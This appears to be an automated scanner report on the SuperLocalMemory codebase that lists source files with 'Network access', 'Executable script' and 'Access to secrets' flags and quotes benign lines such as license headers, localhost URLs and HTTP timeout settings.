# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/remote_rerank_guard.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/remote_reranker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 71
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Access to secretsline 287
[Credential-related source omitted] - Access to secretsline 300
[Credential-related source omitted] - Access to secretsline 317
[Credential-related source omitted] - Network accessline 566
client = self._get_client() left = max(_MIN_DEADLINE_S, deadline_at - time.monotonic()) timeout = httpx.Timeout( - Network accessline 567
left = max(_MIN_DEADLINE_S, deadline_at - time.monotonic()) timeout = httpx.Timeout( connect=min(_CONNECT_TIMEOUT_S, left), read=left, write=left, pool=left, - Network accessline 568
timeout = httpx.Timeout( - Network accessline 624
bound = self.deadline_seconds self._client = GatedClient( timeout=httpx.Timeout( - Network accessline 625
self._client = GatedClient( timeout=httpx.Timeout( connect=min(_CONNECT_TIMEOUT_S, bound), - Network accessline 626
timeout=httpx.Timeout(
src/superlocalmemory/retrieval/remote_reranker_config.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 60
f"retrieval.cross_encoder_backend={backend!r} selects the remote " f"reranker but retrieval.cross_encoder_endpoint is empty. Set the " f"endpoint (e.g. \"http://127.0.0.1:8041/v1/rerank\"), or set " - Network accessline 61
f"reranker but retrieval.cross_encoder_endpoint is empty. Set the " f"endpoint (e.g. \"http://127.0.0.1:8041/v1/rerank\"), or set " f"cross_encoder_backend to \"\" (PyTorch) / \"onnx\" to rerank " - Network accessline 62
f"endpoint (e.g. \"http://127.0.0.1:8041/v1/rerank\"), or set " - Network accessline 104
return ( "retrieval.cross_encoder_endpoint has no host; expected something " "like \"http://127.0.0.1:8041/v1/rerank\"." - Network accessline 105
"retrieval.cross_encoder_endpoint has no host; expected something " "like \"http://127.0.0.1:8041/v1/rerank\"." ) - Network accessline 106
"like \"http://127.0.0.1:8041/v1/rerank\"." - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 122
[Credential-related source omitted] - Access to secretsline 123
[Credential-related source omitted] - Network accessline 213
Mirrors the embedding path's ``/embeddings`` suffixing so a user can paste either ``http://host:8041/v1`` or ``http://host:8041/v1/rerank``. - Network accessline 214
either ``http://host:8041/v1`` or ``http://host:8041/v1/rerank``.
src/superlocalmemory/retrieval/remote_view.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/request_memories.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/rerank_pool.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/reranker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 98
[Credential-related source omitted] - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted] - Access to secretsline 103
[Credential-related source omitted] - Access to secretsline 104
[Credential-related source omitted] - Access to secretsline 451
[Credential-related source omitted]
src/superlocalmemory/retrieval/reranker_lead.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/scope_policy.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/semantic_channel.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/snapshot_admission.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/source_assertions.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/source_fidelity_flags.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/source_verdict.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/spreading.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/spreading_activation.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/strategy.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 154
[Credential-related source omitted]
src/superlocalmemory/retrieval/sufficiency.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 611
[Credential-related source omitted]
src/superlocalmemory/retrieval/support_gate.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 188
[Credential-related source omitted]
src/superlocalmemory/retrieval/support_recipe.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/support_tiers.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/tag_scope.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/tag_search.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/temporal_channel.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/temporal_frame.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/temporal_slice_cache.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/temporal_utils.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/temporal_validity_filter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/text_floor.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/time_filter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/time_window.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/vector_index_build.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/vector_physical.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/vector_presence.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/vector_store.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/visibility.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/runtimes/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/runtimes/features.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/runtimes/locks/media-darwin-arm64-py312.txt
- Network accessline 1
--index-url https://pypi.org/simple
src/superlocalmemory/runtimes/locks/media-darwin-arm64-py313.txt
- Network accessline 1
--index-url https://pypi.org/simple
src/superlocalmemory/runtimes/locks/media-darwin-arm64-py314.txt
- Network accessline 1
--index-url https://pypi.org/simple
src/superlocalmemory/runtimes/locks/media-linux-aarch64-py312.txt
src/superlocalmemory/runtimes/locks/media-linux-aarch64-py313.txt
src/superlocalmemory/runtimes/locks/media-linux-aarch64-py314.txt
src/superlocalmemory/runtimes/locks/media-linux-x86_64-py312.txt
src/superlocalmemory/runtimes/locks/media-linux-x86_64-py313.txt
src/superlocalmemory/runtimes/locks/media-linux-x86_64-py314.txt
src/superlocalmemory/runtimes/locks/media-windows-amd64-py312.txt
src/superlocalmemory/runtimes/locks/media-windows-amd64-py313.txt
src/superlocalmemory/runtimes/locks/media-windows-amd64-py314.txt
src/superlocalmemory/runtimes/managed_env.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 282
[Credential-related source omitted] - Access to secretsline 316
[Credential-related source omitted] - Access to secretsline 414
[Credential-related source omitted] - Network accessline 430
say(0.35, "Getting the model") ok, kind, detail = source.fetch(self.python(), self.weights_dir(), progress=progress, cancel=self._cancel) - Network accessline 431
ok, kind, detail = source.fetch(self.python(), self.weights_dir(), progress=progress, cancel=self._cancel)
src/superlocalmemory/runtimes/managed_text.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/runtimes/media_canary.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/runtimes/media_env.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 62
[Credential-related source omitted]
src/superlocalmemory/runtimes/media_image_ops.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 202
Apple's VNClassifyImageRequest supplies identifier/confidence observations: https://developer.apple.com/documentation/vision/vnclassifyimagerequest - Network accessline 203
https://developer.apple.com/documentation/vision/vnclassifyimagerequest
src/superlocalmemory/runtimes/media_models.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 77
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted]
src/superlocalmemory/runtimes/media_ram.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/runtimes/model_sources.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 43
def fetch(self, python: Path, dest: Path, *, progress: ProgressFn, - Network accessline 53
def fetch(self, python: Path, dest: Path, *, progress: ProgressFn, - Network accessline 81
def fetch(self, python: Path, dest: Path, *, progress: ProgressFn, - Access to secretsline 86
[Credential-related source omitted]
src/superlocalmemory/runtimes/multimodal_worker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 55
[Credential-related source omitted] - Access to secretsline 56
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted] - Access to secretsline 142
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Access to secretsline 167
[Credential-related source omitted] - Access to secretsline 295
[Credential-related source omitted] - Access to secretsline 455
[Credential-related source omitted]
src/superlocalmemory/runtimes/pdf_parse.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/runtimes/ports.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/runtimes/space_plan.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 102
[Credential-related source omitted]
src/superlocalmemory/runtimes/worker_client.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 133
[Credential-related source omitted]
src/superlocalmemory/runtimes/worker_limits.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/runtimes/worker_log.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/access_gate.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted]
src/superlocalmemory/server/acting_profile.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/answer_check_execution.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/api.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 2
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 3
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """ - Network accessline 4
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 16
[Credential-related source omitted] - Access to secretsline 17
[Credential-related source omitted] - Network accessline 122
CORSMiddleware, allow_origins=[ "http://localhost:8765", "http://127.0.0.1:8765", - Network accessline 123
allow_origins=[ "http://localhost:8765", "http://127.0.0.1:8765", "http://localhost:8417", "http://127.0.0.1:8417", - Network accessline 124
"http://localhost:8765", "http://127.0.0.1:8765", - Network accessline 125
"http://localhost:8417", "http://127.0.0.1:8417", - Access to secretsline 167
[Credential-related source omitted] - Access to secretsline 173
[Credential-related source omitted] - Network accessline 314
print(f"UI Directory: {UI_DIR}") print("=" * 60) print("\nStarting server on http://localhost:8000") - Network accessline 315
print("=" * 60) print("\nStarting server on http://localhost:8000") print("API Documentation: http://localhost:8000/docs") - Network accessline 316
print("\nStarting server on http://localhost:8000") - Network accessline 317
print("API Documentation: http://localhost:8000/docs")
src/superlocalmemory/server/asset_versions.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/audit_view.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/background_view.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/backup_bundle.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/backup_restore_txn.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/backup_restore_worker.py
src/superlocalmemory/server/backup_rollback.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/bandit_loops.py
src/superlocalmemory/server/caller_workspace.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/config_file.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/consent_receipts.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/consolidation_runner.py
src/superlocalmemory/server/daemon_cors.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/daemon_diagnostics.py
src/superlocalmemory/server/egress_policy.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/endpoint_cache.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/entity_index_repair.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/forwarded_guard.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Access to secretsline 58
[Credential-related source omitted]
src/superlocalmemory/server/hook_event_writer.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/host_guard.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 63
[Credential-related source omitted]
src/superlocalmemory/server/kind_error.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/legacy_port.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 33
[Credential-related source omitted]
src/superlocalmemory/server/live_engine.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/local_host_setup.py
src/superlocalmemory/server/loopback.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/manual_heal.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/media_housekeeping.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/media_size.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/memory_health_service.py
- Executable scriptline 1
Executable file
